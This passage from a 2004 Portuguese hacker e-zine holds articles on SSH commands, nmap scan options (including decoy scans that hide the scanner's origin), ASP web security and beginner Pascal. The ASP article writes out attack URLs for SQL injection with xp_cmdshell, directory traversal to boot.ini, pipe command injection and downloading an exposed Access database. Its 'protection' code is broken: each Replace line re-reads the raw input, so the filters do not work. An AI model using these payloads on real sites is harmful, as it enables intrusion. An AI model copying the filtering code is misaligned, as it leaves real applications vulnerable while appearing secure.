servidor é o nome do servidor ao qual deseja conectar. Ex.: motdlabs.org
Exemplo:
ssh maria@motdlabs.org
ssh maria@motdlabs.org ls
Você também pode especificar outras opções, olhe a página manual do ssh
ssh-keygen : comando utilizado para criação de chaves.
Sintaxe:
ssh-keygen -t tipo_chave
Onde o tipo de chave pode ser:
rsa1 , rsa , dsa ( para saber a diferença entre as chaves pesquise.:-)
Exemplo:
# Para criar uma chave tipo dsa:
[usuario@localhost]$ ssh-keygen -t dsa
slogin : Nome alternativo ao comando ssh.
scp : Utilizado para cópia remota de arquivos.
Para Upoload ( transferir um arquivo de sua maquina para o servidor remoto)
Sintaxe:
scp [arquivo_local] [usuario@servidor remoto]:[nome do arquivo no servidor remoto]
Exemplo:
[usuario@localhost]$ scp /tmp/motd_guide_01.zip usuario@motdlabs.org:/teste
Esse comando copia da máquina de origem o arquivo motd_guide_01.zip que esta na
pasta tmp para a pasta teste no servidor remoto.
Para baixar um arquivo do servidor remoto:
Sintaxe:
scp usuario@servidor_remoto:arquivo usuario@sua_maquina:arquivo
Exemplo:
[usuario@localhost]$ scp usuario@motdlabs.org:/teste/motd.zip usuario@localhost:/tmp
Para saber mais consulte as paginas do man scp.
sftp : Similar ao uso do ftp, a diferença é que o sftp realiza todas as
operações de forma criptografada.
Os comandos são similares ao clássico ftp:
[usuario@localhost]$ sftp ftp.motdlabs.org
Connecting to ftp.motdlabs.org...
usuario@motdlabs.org password:
sftp>help
Available commands:
cd path Change remote directory to 'path'
lcd path Change local directory to 'path'
chgrp grp path Change group of file 'path' to 'grp'
chmod mode path Change permissions of file 'path' to 'mode'
chown own path Change owner of file 'path' to 'own'
help Display this help text
get remote-path [local-path] Download file
lls [ls-options [path]] Display local directory listing
ln oldpath newpath Symlink remote file
lmkdir path Create local directory
lpwd Print local working directory
ls [path] Display remote directory listing
lumask umask Set local umask to 'umask'
mkdir path Create remote directory
put local-path [remote-path] Upload file
pwd Display remote working directory
exit Quit sftp
quit Quit sftp
rename oldpath newpath Rename remote file
rmdir path Remove remote directory
rm path Delete remote file
symlink oldpath newpath Symlink remote file
version Show SFTP version
!command Execute 'command' in local shell
! Escape to local shell
? Synonym for help
sftp>
Um exemplo de uso
[usuario@localhost]sftp usuario@motdlabs.org
sftp>get motd_guide_01.zip
~~~~~~~~~~~~~~~~~~
5 - Clientes SSH
~~~~~~~~~~~~~~~~~~
Existem muitos clientes disponíveis hoje no mercado desde o original da empresa
finlandesa SSH ( http://www.ssh.fi ),ate mesmo versões freewares para várias
plataformas e sistemas operacionais. Para sistemas *nix existe o
OpenSSH(http://www.openssh.org/), que inclui um cliente de terminal e de
transferência de arquivos, e o Yafc(http://yafc.sourceforge.net/) que apenas
contem um cliente para transferência de arquivos, ambos são 'opensource'.
Como a opção da maioria continua sendo o Windows, caso você queira utilizar um
cliente SSH a partir de uma estação Windows,os mais populares são o PuTTY
(http://www.chiark.greenend.org.uk/~sgtatham/putty/), o TeraTERM ou o SecureTTY
(http://www.vandyke.com/), caso nenhum desses consiga suprir suas necessidades
procure nos sites de downloads por outros programas e maiores informações.
~~~~~~~~~~~~~~
6 - Conclusão
~~~~~~~~~~~~~~
A implementação desses protocolos deve ser robusta. Por exemplo, ser
simplesmente capaz de logar-se a um host utilizando um cliente SSH, não
significa, necessariamente, que a informação tenha sido criptografada com
segurança. Deve-se verificar quais são os algoritmos de criptografia suportados.
Investindo nessa tendência, muitos fabricantes anunciam seus produtos como sendo
"seguros", baseados em apenas alguns recursos relacionados a segurança (por
exemplo, muitos servidores são chamados de "seguros", simplesmente porque
suportam conexões SSH). Isto está relacionado com a época em que a maior parte
do gerenciamento out-of-band era feito usando Telnet através de um servidor de
terminal "inseguro" em uma rede local.
Bom pessoal ainda falta muita coisa a ser dita sobre SSH , espero que esse
pequeno txt tenha esclarecido um pouco sobre esse protocolo, e que mais ninguem
confunda SSH com telnet :).
~~~~~~~~~~~~~~~~
7 - Referências
~~~~~~~~~~~~~~~~
Página manual do SSH, man ssh
How to use SSH, http://www.csua.berkeley.edu/ssh-howto.html
The SSH Home Page : Tem várias informações sobre SSH http://www.ssh.org/
The SSH FAQ : Perguntas e respostas sobre SSH http://www.employees.org/~satch/ssh/faq/
Net-Security http://www.net-security.org.
RNP http://www.rnp.br.
Cyclades http://www.cyclades.com.br/
~~~~~~~~~~~
8 - Links
~~~~~~~~~~~
* MOTD Home Page -> http://www.motdlabs.org/
* InfosHack InSecurity ->http://www.infoshack.motdlabs.org
* CDM Home Page -> http://cdm.frontthescene.com.br
* FTS Home Page -> http://www.frontthescene.com.br
-------------- EOF -----------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[09]-=[Usando o NMAP]-=|REPOLHO|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
1.Introducao
Neste (mini) artigo mostrarei as opcoes "basicas" do nmap, este portscan apesar
de ser muito famoso e conhecido por toda populacao linux do mundo, tem muito
gente mesmo que nao sabe utiliza-la de forma completa e util, desconhecendo
assim esta grande ferramenta.
2.O que eh?
O nmap eh um utilitario open source utilizado para exploracao da rede e/ou
examinar a seguranca de um servidor/rede. O uso mais comum dele eh como portscan
e deteccao de SO de um alvo qualquer.
3.Como usar
Para utilizar o nmap a sintaxe eh a seguinte:
nmap [tipo de scan] [opcoes]
sendo assim vou mostrar os principais tipos de scan primeiro e logo mais as
opcoes que tem alguma utilidade.
4. Tipos de Scan - Metodos e Varredura
-sT
TCP connect Scan: esta forma eh a mais simples de scan, pois ele usa a chamada
de sistema "connect()" que tenta conectar porta em porta ateh que receba um
valor igual a 0 , que corresponde porta aberta, eh um metodo muito mas deixa
milhares de logs, pois seria como se um cliente conectasse no servidor, sendo
assim, deixando todo o log no sistema.
-sP
Ping Scan: neste metodo o nmap envia um ping para o alvo para saber se o host
esta up ou nao, mas como existem hoje varios metodos que barram pacotes ICMP,
entao o nmap manda tmb pacotes de TCP ACK na porta 80, caso o nmap obtem
resposta ele. OBS: este metodo eh usado apenas para ver se o servidor esta up
sem realmente scanear as portas .
-sS
TCP SYN Scan: este metodo manda um pacote SYN como se fosse uma conexao real e
aguarda resposta, caso a resposta seja um pacote SYN ACK, a porta esta aberta,
caso receba a flag RST como resposta, indica que a porta esta fechado, isto eh,
nao esta em modo listening, o bom deste metodo eh que eh mais dificil a deteccao
de das conexoes.
-sU
UDP Scan: este metodo eh utilizado para verificar as portas UDP de um alvo
qualquer. Ele manda um pacote UDP de 0 bytes pra cada porta , se receber um
pacote ICMP como resposta entao a porta esta fechada, senao a porta PODE estar
aberta.
-sR
RPC scan: Ele pega todas as portas TCP/UDP encontradas abertas e inunda
elas com comandos NULL de programas SunRPC numa tentativa de determinar quando
elas são portas RPC, e se sao, qual programa e versao dos servicos. Seria quase
o mesmo que usar o comando "rcpinfo -p" mesmo estando atras de um firewall.
-sX -sF -sN
Modos Stealth FIN, Xmas Tree, ou Null scan: este e um metodo "menos" visiveis,
pois eles passam atraves de um firewall, ou servidor de deteccao de scan, este
metodo nao funciona com maquina window, portanto eh um metodo de identificar por
cima qual SO que a vitima esta usando.
-sI
Metodo idlescan: este metodo nao possui no man do Nmap, uma documentacao sobre
este metodo esta disponivel em : http://www.insecure.org/nmap/idlescan.html,
este eh um metodo onde o atacante nao envia nenhum pacote saindo de sua maquina,
deem uma olhada no site para mais infos, mas um detalhe... eh show di bola ;)
PS: nao vou colocar tudo aqui pq eh muito material sobre o idlescan.
5. Opcoes
-A
Esta opcao mostra a versao do programa rodando naquela porta, isso eh muito
util, ja que utilizar scaners de vulnerabilidades provoca muito barulho,
identificado q programa e qual a versao dele, podemos correr atras de falhas
para o mesmo, fazendo assim o trabalho de um scan de vulnerabilidades.
-D
Durante uma varredura, utiliza uma serie de endereços falsificados, simulando
que o scanning tenha originado desses varios hosts, sendo praticamente
impossível identificar a verdadeira origem da varredura.
Ex.: nmap -D IP1,IP2,IP3,IP4,IP6,SEU_IP alvo
-F
Procura pelas portas que estao no /etc/services. Metodo mais rapido, porem nao
procura por todas as portas.
-I
Se o host estiver utilizando o ident, eh possivel identificar o dono dos servicos
que estao sendo executados no servidor (trabalha com a opcao -sT)
-n
Nao ira resolver nomes, soh funciona com IP.
-O
Mostra o sistema operacional e a versao usada pelo sevidor (nao eh 100% confiavel)
-p
Voce especifica quais portas vao ser verficadas
Ex.: nmap -p 21,22,80 vitima
-P0
Faz a varredura sem pingar o host antes, pois pode acontecer da vitima nao
aceitar ICMP.
-R
Ira resolver nomes de hosts que serao varridos.
-ttl
Altera o valor do TTL (Time to Live), dessa forma dificulta a origem do pacote.
Ex.: nmap -ttl 55 vitima
6. Consideracoes Finais
Bom basicamente eh isso, isto eh soh algumas opcoes do nmap , a intencao de eu
escrever este artigo e soh pra quem nao tem a minima ideia que o nmap tem estas
opcoes ou nao sabe ingles pra ler o man ou tem preguica de ler o man em
portugues do site. Abracos a todos.
7. Agradecimentos
Bom... dedico este artigo a todo o pessoal da scene hacker, ao pessoal da MOTD,
CDM e FTS, obrigado mais uma vez ao meu amigo inferninh0 por ter contribuido em
alguns pontos do artigo.
8. Links Interessantes
- http://www.repolho.org/
- http://www.insecure.org/nmap
- http://www.motdlabs.org/
- http://cdm.frontthescene.com.br/
- http://www.frontthescene.com.br/
- http://inferninho.motdlabs.org/
- http://www.google.com.br/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[10]-=[ASP Security]-=|Stinger|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Active Pages Security
Introdução
Stinger
stinger@motdlabs.org
http://stinger.motdlabs.org
**********************************************************************
* * *
* * *
**********************************************************************
Fui informado a tempos que a Microsoft vai abrir uma academia de formacao aqui
em Angola. Eu nao tenho nada contra isso, muito pelo contrario sou a favor de
iniciativas que incentivam o ensino, mas quando se trata de ensinar mal e pob
remente assim como a maior parte dessas academias eu resolvo me retirar. Bast
a olhar para os outros paises que ja provaram o 'sabor' da Microsoft e ver
que quem vai aprender em escola de 'rico' nao se da bem.
Podemos ver isso nos milhares de codigos com bugs produzidos por programadores
'Microsoft Certified'. Meus amigos diploma nao eh tudo, eu nao fiz nenhum curs
o para aprender a dominar linguagens de programacao, para dominar redes e etc.
Por isso dedique-se e estude isso vai fazer de voce um cara mais respeitado no
mundo da 'computacao seria' onde nem sempre o que vale eh o diploma.
E sabe qual tem sido o resultado da falta de estudo e excesso de confianca nos
certificados?
Milhares de linhas de codigo bem arrumadas, codigos bonitos e etc. Isso mesmo as
empresas contratam programadores, e os crackers? Os Vandalos? Os Gatunos?
SAO FACILITADOS.
Este artigo pretende demonstrar nao so como detectar bugs em ASP mas tambem como
proteger-se.
Includes
Os includes sao o primeiro grande problema dos programadores iniciantes em ASP.
O problemas nao se baseiam exactamente nos includes, eles estao safos mas o
problemas localiza-se na extensao desses arquivos muitas vezes setados como .inc
Vejamos por exemplo uma pagina que usa um arquivo include.
http://www.site.co.ao/verificapass.htm
Ao analisarmos o codigo fonte verificamos as seguintes linhas:
C:\>type verificapass.htm > log.txt
C:\>Type log.txt
..
...
<%
REM Arquivo para verificar as passwords
REM Fim do arquivo
%>
...
..
Podemos ver ali a existencia de uma chamada a um arquivo com a extensao .inc
em seguida abrimos o browser e digitamos:
http://www.site.co.ao/pass.inc
Vemos o seguinte:
<%
Dim id, password, q, rs, d
id = Request.Form("id")
password = Request.Form("password")
' ** Create your Query
q = "SELECT * FROM password WHERE id LIKE '" &_
id & "' AND password LIKE '" & password & "'"
' ** Create a RecordSet to store the results of the Query
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open q, "DSN=Banco;"
' ** check for no records returned (id or password not found)
if NOT rs.EOF then
' ** Set cookies for user's convenience
d = Date
Response.Cookies("userid") = id
Response.Cookies("pword") = password
Response.Cookies("userid").Expires = DateAdd("yyyy",2,d)
Response.Cookies("pword").Expires = DateAdd("yyyy",2,d)
end if
%>
Podemos ver claramente que o algoritimo de autenticacao pode ser visto a olho nu
por isso um conselho: Quando for usar includes evite sempre a extensao .inc .htm
.html .txt use sempre a extensao .asp!
Base64
Existem pessoas que ainda insistem em codificar os seus dados com base64, nao sei
porque ainda fazem isso ja que sabe-se de meios e esquemas de se descodificar esses
dados facilmente paginas web, programas preparados para descodificar dados cofificados
com base64.
O meu programa PassManipulator pode ser usado para codificar e decodificar strings
em base64 propriamente especificados pela RFC 2045(Multipurpose Internet Mail Extensions).
Usando assim:
C:\>pman encode string
C:\>pman encode file
C:\>pman decode string
C:\>pman decode file
[Stinger@Boxuh]$perl pman encode string
[Stinger@Boxuh]$perl pman encode file
[Stinger@Boxuh]$perl pman decode string
[Stinger@Boxuh]$perl pman decode file
Obs: Ainda nao coloquei o programa no server. Daqui a 2/3 semanas contem com isso.
Bases de dados Acess
Realmente um grande problema. As bases de dados acess se acessadas podem revelar informacoes
fidedignas da base de dados como usernames passwords etc.
Voce pode usar a ferramenta srcmdb.pl que eu desenvolvi para tentar procurar por bases de
dados acess:
C:\>perl srcmdb.pl www.site.com
Ou
C:\>perl srcmdb.pl www.site.com dir1 dir2 dir3
Esses dir1 dir2 dir3 indicam que ele vai procurar bases de dados nesses diretorios.
Use o arquivo srcmdb.cf para indicar outros nomes a procurar.
Realmente isso acontece assim. Se voce acessa a URL:
www.site.com/users.mdb
Entao ele baixa a base de dados para o seu computador. Ou pode ser via wget:
[Stinger@Boxuh]$wget http://www.site.com/users.mdb
Obs: Ainda nao coloquei o programa no server. Daqui a 2/3 semanas contem com isso.
Filtragem de caracteres(Replace)
A filtragem de caracteres eh uma particularidade do ASP(e de outras), basicamente o que
ela faz eh subistituir caractere a caractere.
Vamos analisar em seguida ataques que podem ser barrados usando essa funcao.
XSS - Cross site Scripting Bugs
Esses bugs tem sido um problema ignorado por muita gente. Mas eles nem sabem que
tem sido explorados com sucesso. Ainda tenho visto muitas apps e sites com bugs
desse tipo e eles nem ligam nenhuma.
Basicamete com esse bug e se voce for vitima qualquer pessoa pode acessar seu cookie
ou mesmo redirecciona-lo a uma pagina maliciosa a fim de executar comandos. Bem mas
concentremo-nos nos cookies. Como voce sabe(eu nao sei se voce sabe)os cookies sao
arquivos armazenados no computador que armazenam informacoes sobre a navegacao em
paginas dinamicas ou nao. Por exemplo se voce digitou seu username e password uma
vez voce nao precisa digitar mais gracas ao cookie, e eh ai onde entra o perigo um
atacante pode obter seus cookies chamando uma funcao javascript e atirando os cookies
para um servidor previamente preparado.
Tendo capturado seus cookies ele simplesmente esparrama na pasta cookie do pc dele e
acessa o site cujo cookie voce possuia. Sendo assim, ou seja tendo o teu cookie na
maquina dele ele vira voce, porque a pagina vai identificar o cookie e vai com base no
cookie vai deixar ele acessar suas contas.
Proteccao
Basta filtrar as URl's que nao prestam:
Page.asp
<%
'Exemplo de proteccao contra
'Ataques de Cross Site Scripting
id=Replace(Request.Querystring("id"),"'"," ")
id=Replace(Request.Querystring("id"),"-"," ")
id=Replace(Request.Querystring("id"),">"," ")
id=Replace(Request.Querystring("id"),"<"," ")
id=Replace(Request.Querystring("id"),"."," ")
id=Replace(Request.Querystring("id"),"!"," ")
id=Replace(Request.Querystring("id"),"%"," ")
'A seguir retiramos os espacos:
'Sem lados
id=Trim(Request.Querystring("id"))
'A esquerda
id=LTrim(Request.Querystring("id"))
'A direita
id=RTrim(Request.Querystring("id"))
%>
Se um atacante tenta um ataque com a seguite URL
http://www.siteprotegido.ao/Page.asp?id=
O ataque vai ser filtrado.
SQL Injection ataques
Os ataques com base em sql injection tem aumentado de grau. Cito uma grande rede
criada para ser segura (e era) a nivel de protocolos de transaccao, usava Linux
SSL, e algo mais, mas era vulneravel a SQL Injection. Com isso mais de
40.000 contas ficaram expostas. Imagine se fosse um cracker ou Kiddie que
descobrisse aquilo?
Proteccao
Basicamente a proteccao eh quase identica a do XSS mas tenha atencao em filtrar
os caracteres , ; - %20 etc.
Page.asp
<%
'Exemplo de proteccao contra
'Ataques de SQL Injection
id=Replace(Request.Querystring("id"),"'"," ")
id=Replace(Request.Querystring("id"),"-"," ")
id=Replace(Request.Querystring("id"),","," ")
id=Replace(Request.Querystring("id"),";"," ")
id=Replace(Request.Querystring("id"),"%20"," ")
id=Replace(Request.Querystring("id"),"or"," ")
id=Replace(Request.Querystring("id"),"select"," ")
id=Replace(Request.Querystring("id"),"SELECT"," ")
id=Replace(Request.Querystring("id"),"*"," ")
'A seguir retiramos os espacos:
'Sem lados
id=Trim(Request.Querystring("id"))
'A esquerda
id=LTrim(Request.Querystring("id"))
'A direita
id=RTrim(Request.Querystring("id"))
%>
Se um atacante tenta um ataque com a seguite URL
http://www.siteprotegido.ao/Page.asp?id=21';SELECT ...
Vai ser filtrada.
Extored Procedures
O servidor SQL da Microsoft possui extored Procedures que permitem a execucao de
instrucoes de maquinas em paginas da internet:
URL Normal
http://www.siteprotegido.ao/Page.asp?id=21
URL com ataque em extored procedures
http://www.siteprotegido.ao/Page.asp?id=21';EXEC master.dbo.xp_cmdshell 'cmd.exe dir
Onde master.dbo.xp_cmdshell eh uma extored procedure
Existem dezenas de outras que permitem a manipulacao do registro do sistema por exemplo.
Proteccao
Page.asp
<%
'Exemplo de proteccao contra
'Ataques de SQL Injection Com Extored Procedures
id=Replace(Request.Querystring("id"),"EXEC"," ")
id=Replace(Request.Querystring("id"),";"," ")
id=Replace(Request.Querystring("id"),"'"," ")
id=Replace(Request.Querystring("id"),"."," ")
'A seguir retiramos os espacos:
'Sem lados
id=Trim(Request.Querystring("id"))
'A esquerda
id=LTrim(Request.Querystring("id"))
'A direita
id=RTrim(Request.Querystring("id"))
%>
Diretorio Transversal
Os ataques de dot dot em servidores e em aplicacoes da Web que manipulam dados.
Vamos ver uma URL valida
http://www.siteprotegido.ao/Page.asp?id=21
Basicamente se um atacante digita nessa URL:
http://www.siteprotegido.ao/Page.asp?id=../../../../../C:\boot.ini
Ele pode ver na pagina qualquer arquivo no servidor
Proteccao
Vamos retirar os bad caracteres:
Page.asp
<%
'Exemplo de proteccao contra
'Ataques de Dot Dot
id=Replace(Request.Querystring("id"),"%20"," ")
id=Replace(Request.Querystring("id"),"."," ")
id=Replace(Request.Querystring("id"),"/"," ")
id=Replace(Request.Querystring("id"),"//"," ")
id=Replace(Request.Querystring("id"),"\"," ")
id=Replace(Request.Querystring("id"),"\\"," ")
id=Replace(Request.Querystring("id"),":"," ")
'A seguir retiramos os espacos:
'Sem lados
id=Trim(Request.Querystring("id"))
'A esquerda
id=LTrim(Request.Querystring("id"))
'A direita
id=RTrim(Request.Querystring("id"))
%>
Pipe
Nao vou dar uma explicacao tecnica sobre pipe mas se voce quiser sabe pode ir digitando
na sua console:
Windows
dir | dir *.exe
Linux
ls | cd /
Voce pode ver que ele executa dois comandos simultaneamente, isso mesmo aconselho voce a
ler o meu artigo 'Debug-Pro.txt'
Esse problema foi amplamente divulgado quando o RFP demonstrou ele naquele problema
do ODBC do Windows o que resultou em milhares de paginas pichadas por kiddies.
Basicamente uma URL valida:
http://www.siteprotegido.ao/Page.asp?id=21
http://www.siteprotegido.ao/Page.asp?id=|cmd+/c+dir
Proteccao
Vamos retirar os bad caracteres:
Page.asp
<%
'Exemplo de proteccao contra
'Ataques de Pipe
id=Replace(Request.Querystring("id"),"|"," ")
'A seguir retiramos os espacos:
'Sem lados
id=Trim(Request.Querystring("id"))
'A esquerda
id=LTrim(Request.Querystring("id"))
'A direita
id=RTrim(Request.Querystring("id"))
%>
Case sensitivismo
Um 'espertinho' pode muito bem usar tecnicas de casesensitivismo a fim de tentar
passar por tecicas de proteccao muito usadas em sistemas de IDS como protocol analisys.
Nesse caso:
e nao sao iguais. Lembro
que o Snort era vulneravel a essa tecnica
Proteccao
Passa por chamar uma funcao do ASP que transforma letras maiusculas em minusculas:
Page.asp
<%
'Exemplo de proteccao contra
'Ataques de Case Sensitivismo
id=LCase(Request.Querystring("id"))
'A seguir retiramos os espacos:
'Sem lados
id=Trim(Request.Querystring("id"))
'A esquerda
id=LTrim(Request.Querystring("id"))
'A direita
id=RTrim(Request.Querystring("id"))
%>
Bem por hoje eh tudo na proxima parte pretendo abordar tecnicas de proteccao mais avancadas
contra codificacao de bytes em hexadecimal e decimal ate tecnicas de rastreamento e
logging, algumas tecnicas de diversao a fim de 'massacrar' o atacante e fazer ele perder
tempo a toa pensando que esta atacando a rede. Pretendo ainda falar sobre pattern matching.
4:17 PM 2/23/2004
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[11]-=[Programação em Pascal]-=|d4rwin|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Programação em Pascal
=========== == ======
E aí galera, blz? So eu(tio d4rwin) mais uma vez, =). Bom, resolvi escrever
sobre pascal, pq visto que o público alvo do e-zine são newbies(como eu),
seria legal para pessoas que estão començando, ou mesmo os já
iniciados, aprender ou aprimorar seus conhecimentos em programação. O
pascal, além de ser uma linguagem de alto nível, não é difícil de se
aprender, basta dedicação e programaçao. Programação se aprende
programando. Lógico que a parte teórica é importante, mas praticar
sempre foi e sempre será a melhor forma de se aprender. Agora vamos
deixar de blá blá blá e vamos ao que interessa...
Index
~~~~~
1.0 ..... Introdução
1.1 Lógica de Programação
1.2 Quem criou o Pascal?
2.0 ..... Compiladores
2.1 Borlando Pascal 7.0
2.2 FreePascal
2.3 Outros compiladores
3.0 ..... Estrutura do programa em Pascal
3.1 Cabeçalho
3.2 Comentário
3.3 Título
3.4 Bibliotecas
3.5 Constantes
3.6 Tipo
3.7 Variáveis
3.7.1 Declarando Variáveis
3.8 Corpo do Programa
3.9 O uso do ;
4.0 ..... Sinais
5.0 ..... Comandos Básicos
6.0 ..... Estruturas
6.1 Estruturas de Atribuição
6.2 Estruturas Condicionais
7.0 ..... Laços
7.1 Laço FOR
7.2 WHILE
7.3 Repeat
8.0 ..... Vetores
9.0 ..... Matrizes
10.0 .... Registros
11.0 .... Tratamento de Arquivos
12.0 .... Procedimentos e Funções
13.0 .... Agenda Eletrônica em Pascal
14.0 .... Exercícios
15.0 .... Agradecimentos
16.0 .... Links
1.0 - Introdução
~~~~~~~~~~
Vc deve estar se perguntando: "Porque eu, em pleno ano 2004, uma época em que
já lançaram o Delphi 8, vou aprender Pascal, uma linguagem antiga e
orientada a eventos?". Aí eu te respondo meu amigo, a primeira linguagem que
aprendemos, nós nunca esquecemos. É como andar de bicicleta. Com base nisso, o
Pascal é uma ótima linguagem para se começar. O Pascal daria uma boa base
pra vc, depois, aprender uma outra linguagem. E tem aquela história, todo
conhecimento é bem vindo.
1.1 - Lógica de Programação
~~~~~~ ~~ ~~~~~~~~~~~
Entende-se por lógica de programação, uma seqüência de passos a serem tomados
para resolver determinado problema(no nosso caso, construir um programa). Não
adianta o cara saber colocar textos e figurinhas na tela, se este não tiver uma
boa lógica de programação, e, é isto que difere o bom programador do
programador ruim. Ter uma boa lógica, significa conseguir resolver os
problemas(construir os programas), para que o resultado final seja
satisfatório. Portanto, vá com calma. Não vá com muita sede ao pote...primeira
aprenda a andar, pra depois correr.(Filosofei bonito agora, hein, =)).
1.2 - Quem criou o Pascal?
~~~~ ~~~~~ ~ ~~~~~~~
O Pascal foi criado por Niklaus Wirth, em 1972, em Genebra-Suiça. O nome da
linguagem foi uma homenagem ao matemático e filósogo Blaise Pascal(inventor da
primeira calculadora mecânica). O objetivo de Niklaus Wirth, era o de
desenvolver uma linguagem simples, clara e fácil de programar.
2.0 - Compiladores
~~~~~~~~~~~~
Não vou entrar em detalhes sobre o que são compiladores, pois já falei sobre
eles na Zine MOTD GUIDE 01, no texto "Introdução à Programação". O que
basicamente os compiladores fazem são transformar o código de alto nível(código
em Pascal), para linguagem de máquina.
2.1 - Borland Pascal 7.0
~~~~~~~ ~~~~~~ ~~~
O Borlando Pascal ou Turbo Pascal(são os mesmos) surgiu em 1985, com a Borland.
Isto provocou um verdadeiro avanço para a linguagem. Desde as suas primeiras
versões o Turbo Pascal já possuia ambiente para digitação e depuração do
código, e fazia a compilação e linkedição em um único processo. A última
versão do Turbo Pascal lançado foi o Turbo Pascal 7.0. Porém a
Borland parou o desenvolvimento do Turbo Pascal, fazendo com que ele se torna
-se ultrapassado, mas ainda muito utilizado, para os tempos atuais.
2.2 - FreePascal
~~~~~~~~~~
O FPC(FreePascal Compiler) é um projeto OpenSource que visa continuar com o
desenvolvimento da linguagem Pascal. Além de ser compatível com o Turbo Pascal
7.0, possui vários projetos em andamentos. Possui mais recursos que o Turbo
Pascal 7.0, e ainda permite interagirmos com alguns GUIs(Graphics User
Internface) e APIs. O site do projeto é: www.freepascal.org | Em português:
http://www.freepascal.eti.br.
2.3 - Outros Compiladores
~~~~~~ ~~~~~~~~~~~~
Além dos dois compiladores citados acima, tem outros que também merecem
respeito. Abaixo segue a lista de alguns, com seus respectivos sites:
Compilador | Site
^^^^^^^^^^ ^^^^
---------------------------------------------------------------------------
| Pascaler | www.pascaler.hpg.com.br / www.infoxbr.com.br |
|---------------------------------------------------------------------------|
| PascalZIM! | www.superdownloads.com.br / autor: pascalzim@yahoo.com.br|
---------------------------------------------------------------------------
3.0 - Estrutura do Programa em Pascal
~~~~~~~~~ ~~ ~~~~~~~~ ~~ ~~~~~~
Um programa em Pascal possui básicamente a seguinte estrutura:
{ Nome do Programa ...............:
Função .........................:
Plataforma .....................:
Linguagem ......................:
Data de criação ................:
Data de última alteração .......:
Autor ..........................:
}
Program Nome_do_Programa;
Uses ;
Const
= 'valor_da_constante';
Type
: ;
Var
: ;
Begin
comandos;
comandos;
comandos;
.
.
.
comandos;
End.
3.1 - Cabeçalho
~~~~~~~~~
O cabeçalho não é uma parte fundamental para o funcionamento do programa. Mas é
bom você adotar o costume de utilizá-lo, pois assim terá um melhor controle de
seu programa, e sentirá menos dificuldade na hora de atualizá-lo. Um exemplo de
Cabeçalho:
{ Nome do Programa ...............:
Função .........................:
Plataforma .....................:
Linguagem ......................:
Data de criação ................:
Data de última alteração .......:
Autor ..........................:
}
3.2 - Comentário
~~~~~~~~~~
Comentários são frases ou pequenos parágrafos auto-explicativos que visam
deixar mais claro ao programador o funcionamento de seu programa, assim como
ajudá-lo na hora de atualizá-lo. Um exemplo de comentário em Pascal:
{ Este é um exemplo de comentário em Pascal. Tudo o que for escrito entre
CHAVES, é desconsiderado pelo compilador. O comentário pode continuar por
vários linhas, até a segunda chave. }
(* Este é outro exemplo de comentário em Pascal. Tanto este como o exemplo
acima são válidos. *)
3.3 - Título
~~~~~~
Título é o nome que o seu programa vai ter. Não tem segredo, ele é declarado da
seguinte forma:
Program ;
3.4 - Bibliotecas
~~~~~~~~~~~
Em pascal, damos o nome de Units as Bibliotecas. É nas bibliotecas/units onde
ficam armazenadas as rotinas e funções a serem utilizadas no programa. Assim
como em C, temos a Bibliteca stdio.h como "padrão", no Pascal, temos a unit
CRT, utilizado em quase todos os programas feitos em Pascal. Um exemplo de
declaração de Units:
Uses ;
por exemplo:
Uses CRT,DOS,Graph;
3.5 - Constantes
~~~~~~~~~~
Constantes são "variáveis" que nunca mudam. Uma vez declarado um valor para uma
constante, esse valor jamais mudará. Um exemplo de declaração de constantes:
Const = 'valor_da_constante';
por exemplo:
Const d4rwin = 'lindao';
3.6 - Tipo
~~~~
Em Pascal, podemos declarar nossas próprias variáveis, desde que especifiquemos
o tipo desta variável. Um exemplo de um declaração de tipo:
Type = ;
por exemplo:
Type d4rwin = string;
3.7 - Variáveis
~~~~~~~~~
As variáveis em Pascal, são dividas em quatro grupos, sendo elas:
Numéricas -> Podem ser números inteiros ou reias, pelos dígitos de 0 a 9,
sinais + ou - e "." para casas decimais.
Alfanuméricas -> Podem ser formadas por qualquer caractere da tabela ASCII.
Lógicas -> Podem assumir apenas dois valores: TRUE(Verdadeiro) e
FALSE(Falso).
Ponteiros -> Podem armazenar apenas endereços de memória.
Tipos de variáveis:
-----------------------------------------------------------------------------------------
| Classe | Tipo | Valores Comportados | Bytes que Ocupa na Memória |
| ------------|--------------|-----------------------------|------------------------------|
| Boolean | Lógico | TRUE ou FALSE | 1 byte |
| ----------- |--------------|-----------------------------|------------------------------|
| Byte | Num. Inteiro | 0 a 255 | 1 byte |
| ----------- |--------------|-----------------------------|------------------------------|
| Char | Caracter | Tabela ASCII | 1 byte |
| ----------- |--------------|-----------------------------|------------------------------|
| Comp | Num. Real | -9.2E18 a 9.2E18 | 8 bytes |
| ----------- |--------------|-----------------------------|------------------------------|
| Double | Num. Real | 5.0E-324 a 1.7E308 | 8 bytes |
| ----------- |--------------|-----------------------------|------------------------------|
| Extended | Num. Real | 3.4E-4932 a 1.1E4932 | 10 bytes |
| ----------- |--------------|-----------------------------|------------------------------|
| Integer | Num. Inteiro | -32768 a 32767 | 2 bytes |
| ----------- |--------------|-----------------------------|------------------------------|
| Longint | Num. Inteiro | -2147483648 a 2147483647 | 4 bytes |
| ----------- |--------------|-----------------------------|------------------------------|
| Real | Num. Real | 2.9E-39 a 1.7E38 | 6 bytes |
| ----------- |--------------|-----------------------------|------------------------------|
